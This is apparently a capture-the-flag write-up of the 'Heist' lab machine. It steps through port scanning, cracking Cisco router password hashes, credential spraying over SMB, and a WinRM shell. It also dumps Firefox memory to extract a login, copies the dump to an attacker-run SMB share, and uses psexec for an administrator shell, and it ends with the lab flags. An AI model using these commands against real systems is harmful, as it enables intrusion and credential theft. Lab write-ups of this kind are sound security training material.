MACHINE - HEIST

OPEN PORTS

```
$ nmap -sVC -T4 -Pn {IP}

80/tcp  open  http          Microsoft IIS httpd 10.0
| http-title: Support Login Page
|_Requested resource was login.php
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open  msrpc         Microsoft Windows RPC
445/tcp open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-04-30T16:17:42
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
```

INVESTIGATING THE SITE

- Source code ... Nothing special
- One cookie is set

```
PHPSESSID=du6i87ic2q6gl155s92h5qdln1
```

- Wappalyzer found the following interesting result

1. IIS Web Server Version 10.0

   Microsoft Internet Information Services (IIS, 2S) is an extensible web server created by Microsoft for use with the Windows NT family. IIS supports HTTP, HTTP/2, HTTP/3, HTTPS, FTP, FTPS, SMTP and NNTP. It has been an integral part of the Windows NT family since Windows NT 4.0, though it may be absent from some editions (e.g. Windows XP Home edition), and is not active by default.

- At this point let's enumerate all directories using gobuster

```
$ gobuster dir -u http://{IP}/ -w /usr/share/wordlists/dirb/common.txt

...
/attachments          (Status: 301) [Size: 158]
/css                  (Status: 301) [Size: 150]
/Images               (Status: 301) [Size: 153]
/images               (Status: 301) [Size: 153]
/index.php            (Status: 302) [Size: 0]
/js                   (Status: 301) [Size: 149]
...
```

- Trying to access all the pages, except for `index.php`, lead to `Access denied`
- Before trying to bruteforce the login we see a button `Login as guest`
- If we click on that button we go to a new page `issues.php`
- There are a bunch of messages with an `Attachment`
- If we open the attachment we can see a lot of useful informations
- Then a number of configurations

```
...
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
...
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
...
ip ssh authentication-retries 5
ip ssh version 2
...
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh
```

- As we can see there are some usernames and passwords I guess
- An SSH authentication system configuration
- At this point we can search in Internet for `password 7` or `enable secret 5`
- It comes that it is a configuration for a Cisco Router.
- In particular

  > The `enable secret` command provides better security by storing the enable secret password using a nonreversible cryptographic function. The added layer of security encryption provides is useful in environments where the password crosses the network or is stored on a TFTP server.

- This does not means that it cannot be decrypted, however brute-force

attack is required.
- Said that, we have:

```
rout3r -> password: 0242114B0E143F015F5D1E161713 -> $uperP@ssword
admin  -> password: 02375012182C1A1D751618034F36415408 -> Q4)sJu\Y8qz*A3?d
```

- Those passwords have been found using a **Decrypter**
- Now that we have these two passwords we can try the login
- However, we cannot login since the `username` field wants an email address
- We could try to crack `$1$pdQG$o8nrSzsGXeaduXrjlvKc91` using `john`

```
$ echo "$1$pdQG$o8nrSzsGXeaduXrjlvKc91" > hash
$ john -w=/usr/share/wordlists/rockyou.txt --format=md5crypt hash

...
stealth1agent    (?)
...
```

- At this point we have some users and some passwords
- Let's go on

SMB and WinRM INVESTIGATION

- We now that port 445 (SMB) is open as well as port 135 for RPC.
- First thing we can use is the `smbclient` to see if we can enumerate sharings
- First with no password

```
$ smbclient -N -L \\\\${IP}
... NT_STATUS_ACCESS_DENIED
```

- However, we receive an error.
- We can use `crackmapexec` to see if there is user-pass combination that works
- Let's save all the users in a file `users.txt` and also all the passwords in `pass.txt`
- Then run the following command (this command will also list all the shares)

```
$ crackmapexec smb -u users.txt -p pass.txt --port --shares 445 ${IP}

...
SMB  10.10.10.149  445  SUPPORTDESK  [-] SupportDesk\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FA
SMB  10.10.10.149  445  SUPPORTDESK  [+] SupportDesk\hazard:stealth1agent
SMB  10.10.10.149  445  SUPPORTDESK  [+] Enumerated shares
SMB  10.10.10.149  445  SUPPORTDESK  Share   Permissions  Remark
SMB  10.10.10.149  445  SUPPORTDESK  -----   -----------  ------
SMB  10.10.10.149  445  SUPPORTDESK  ADMIN$               Remote Admin
SMB  10.10.10.149  445  SUPPORTDESK  C$                   Default share
SMB  10.10.10.149  445  SUPPORTDESK  IPC$    READ         Remote IP
```

- As we can see, we have a found a match `hazard:stealth1agent`
- Let's try to access those shares

```
$ smbclient \\\\10.10.10.149\\ADMIN$ -p 445 -U SupportDesk/hazard%stealth1agent
tree connect failed: NT_STATUS_ACCESS_DENIED

$ smbclient \\\\10.10.10.149\\C$ -p 445 -U SupportDesk/hazard%stealth1agent
tree connect failed: NT_STATUS_ACCESS_DENIED

$ smbclient \\\\10.10.10.149\\IPC$ -p 445 -U SupportDesk/hazard%stealth1agent
smb: \> dir
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
```

- Perfect ... we cannot access important shares ... Let's do something more
- Between all the open ports there is one releated to Windows HTTP, the port 5985
- As you might assume, this is not a classic HTTP port for web pages
- Instead it is associated with *WinRM* service

  WinRM (Windows Remote Management) is Microsoft's implementation of WS-Management in Windows which allows systems to access or exchange management information across a common network. Utilizing scripting objects or the built-in command-line tool, WinRM can be used with any remote computers that may have baseboard management controllers (BMCs) to acquire data. On Windows-based computers including WinRM, certain data supplied by Windows Management Instrumentation (WMI) can also be obtained. By default WinRM HTTPS used 5986 port, and HTTP uses 5985 port. By default, port 5985 is in listening mode, but port 5986 has to be enabled.

  WS-Management (Web Services-Management) is a DMTF open standard defining a SOAP-based protocol for the management of servers, devices, applications and various Web services. WS-Management provides a common way for systems to access and exchange management information across the IT infrastructure.

  Distributed Management Task Force (DMTF) is a 501(c)(6) nonprofit industry standards organization that creates open manageability standards spanning diverse emerging and traditional IT infrastructures including cloud, virtualization, network, servers and storage. Member companies and alliance partners collaborate on standards to improve interoperable management of information technologies.

- Let's check if the previous user can access the WinRM service

```
$ crackmapexec winrm ${IP} -u hazard -p stealth1agent
```

```
SMB   10.10.10.149 5985 SUPPORTDESK [*] Windows 10.0 Build 17763
HTTP  10.10.10.149 5985 SUPPORTDESK [*] http://10.10.10.149:5985/wsman
WINRM 10.10.10.149 5985 SUPPORTDESK [-] SupportDesk\hazard:stealth1agent
```

- However, we have a username and a password, maybe we can enumerate all RID

  RID stands for **Relative Identifier**, which is a part of SID (Security Identifier) used to uniquely identify a user or service on a Windows host. Each account or group, or each process that runs under the account's security context, has a unique SID issued by an authority, such as a Windows domain controller. The SID is stored in a security database. The system generates the SID that identifies a specific account or group when the account or group is created. When a SID is used as a unique identifier for a user or group, it can never be used to identify a different user or group.

- This is an example of SID

`S-1-5-21-1004336348-1177238915-682003330-512`

1. `S` identify that the value is SID
2. `1` Is the revision level
3. `5` is the value of the identification authority
4. `21-1004336348-1177238915-682003330` the domain identifier
5. `512` the RID

- The following command will enumerate all RIDs

```
$ crackmapexec smb ${IP} -u hazard -p stealth1agent --rid-brute
```

```
...
SMB  10.10.10.149 445  SUPPORTDESK  500: SUPPORTDESK\Administrator (SidTypeUser)
SMB  10.10.10.149 445  SUPPORTDESK  501: SUPPORTDESK\Guest (SidTypeUser)
SMB  10.10.10.149 445  SUPPORTDESK  503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB  10.10.10.149 445  SUPPORTDESK  504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB  10.10.10.149 445  SUPPORTDESK  513: SUPPORTDESK\None (SidTypeGroup)
SMB  10.10.10.149 445  SUPPORTDESK  1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB  10.10.10.149 445  SUPPORTDESK  1009: SUPPORTDESK\support (SidTypeUser)
SMB  10.10.10.149 445  SUPPORTDESK  1012: SUPPORTDESK\Chase (SidTypeUser)
SMB  10.10.10.149 445  SUPPORTDESK  1013: SUPPORTDESK\Jason (SidTypeUser)
```

- `WDAG = Windows Defender Application Guard` link here
- As we can see there are a lot of new users
- Let's add them into the `users.txt` file and try to get the correct combination
- First remote `hazard` from the file

```
$ crackmapexec smb ${IP} -u users.txt -p pass.txt
```

```
...
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Chase:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d
```

- Hence we have a new combination `Chase:Q4)sJu\Y8qz*A3?d`
- At this point, let's try to obtain a shell with Chase using `evil-winrm`

```
$ evil-winrm -i ${IP} -u chase -p 'Q4)sJu\Y8qz*A3?d'
```

```
...
*Evil-WinRM* PS C:\Users\Chase\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Chase\Desktop> ls

    Directory: C:\Users\Chase\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         4/22/2019   9:08 AM            121 todo.txt
-ar---         4/30/2024   9:13 PM             34 user.txt

*Evil-WinRM* PS C:\Users\Chase\Desktop> more user.txt
6bab43614d5901c32e6bd9e16e40c1fd
```

PRIVILEGE ESCALATION

```
*Evil-WinRM* PS C:\Users\Chase\Desktop> more todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.
```

- At this point we can navigate trying to find something interesting
- At `C:\` we can find the `inetpub` folder containing the site we have visisted at the start
- However, it seems to be a dead-end
- Navigating to `Program Files` we see `Mozilla Firefox` which is not so common
- Let's see if there is a `firefox` process

```
*Evil-WinRM* PS C:\Users\Chase\Desktop> cd \
*Evil-WinRM* PS C:\> cd "Program Files"
```

```
*Evil-WinRM* PS C:\Program Files> dir

...
Mode                 LastWriteTime  Length Name
----                 -------------  ------ ----
d-----         4/21/2019   9:39 AM         Common Files
d-----         4/21/2019  11:00 AM         internet explorer
d-----         2/18/2021   4:21 PM         Mozilla Firefox
...

*Evil-WinRM* PS C:\Program Files> Get-Process
...
1063     70   145868     223216       5.95   6152   1 firefox
347      19    10092      32524       0.11   6264   1 firefox
401      33    32116      90592       0.91   6476   1 firefox
378      28    22408      59320       0.41   6712   1 firefox
355      25    16500      39256       0.13   6976   1 firefox
...
```

- Now, we would like to dump a particular process, in this case `firefox`
- We can do this using the `procdump64.exe` from the `sysinternals` tool-suite
- First on our local machine we need to download the ZIP
- Just search for `sysinternals zip` on Chrome (or any Web browser)

```
$ wget https://download.sysinternals.com/files/SysinternalsSuite.zip
$ mkdir sysinternals
$ cd sysinternals
sysinternals$ unzip ../SysinternalsSute.zip
```

- Now on the sell to the remote Windows System run

```
*Evil-WinRM* PS C:\Program Files> cd ../Users/Chase/Documents
*Evil-WinRM* PS C:\Users\Chase\Documents> upload /path/to/sysinternals/procdump64.exe
*Evil-WinRM* PS C:\Users\Chase\Documents> .\procdump64.exe -accepteula -ma ${PID} ff.dmp
```

- Now we should transfer the `ff.dmp` back to our host
- To do this, we can setup a SMB Server on our local machine and access it from the remote one

```
$ impacket-smbserver -smb2support -username guest -password guest share $(pwd)
```

- Now, on the remote machine we run the following commands

```
*Evil-WinRM* PS C:\Users\Chase\Documents> net use x: \\{MyIP}\share /user:guest guest
The command completed successfully.

*Evil-WinRM* PS C:\Users\Chase\Documents> cmd /c "copy ff.dmp X:\"
```

- At this point, on our local machine we should find the `ff.dmp` file

- As we can see this is a binary file.
- Among all the shits present on this file we can search for a possible login attempt
- However, first we need to see what parameters are used the POST request
- Let's setup a proxy on localhost:8080
- Open Burst and enable Incercept Mode
- This is the entire request

```
POST /login.php HTTP/1.1
Host: 10.10.10.149
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://10.10.10.149
Connection: close
Referer: http://10.10.10.149/login.php
Cookie: PHPSESSID=du6i87ic2q6gl155s92h5qdln1
Upgrade-Insecure-Requests: 1

login_username=admin%40admin.htb&login_password=password&login=
```

- As we can see there are two parameters `login_username` and `login_password`
- We could search for these strings in the dump

```
$ strings ff.dmp | grep login_username

...
localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ
```

- Okay, now we have `admin:4dD!5}x/re8]FBuZ`
- At this point, we could access the ADMIN share using these credentials

```
$ impacket-psexec 'administrator:4dD!5}x/re8]FBuZ'@10.10.10.149

[*] Requesting shares on 10.10.10.149.....
[*] Found writable share ADMIN$
[*] Uploading file FBoOfUNA.exe
[*] Opening SVCManager on 10.10.10.149.....
[*] Creating service MqFa on 10.10.10.149.....
[*] Starting service MqFa.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32> cd ../../Users/Administrator/Desktop
C:\Users\Administrator\Desktop> dir

...
02/18/2021  04:00 PM    <DIR>          .
02/18/2021  04:00 PM    <DIR>          ..
04/30/2024  09:13 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,211,763,712 bytes free

C:\Users\Administrator\Desktop> more root.txt
c77cfc252ee172361655bf4470304d24
```

FLAGS

USER: 6bab43614d5901c32e6bd9e16e40c1fd

ROOT: c77cfc252ee172361655bf4470304d24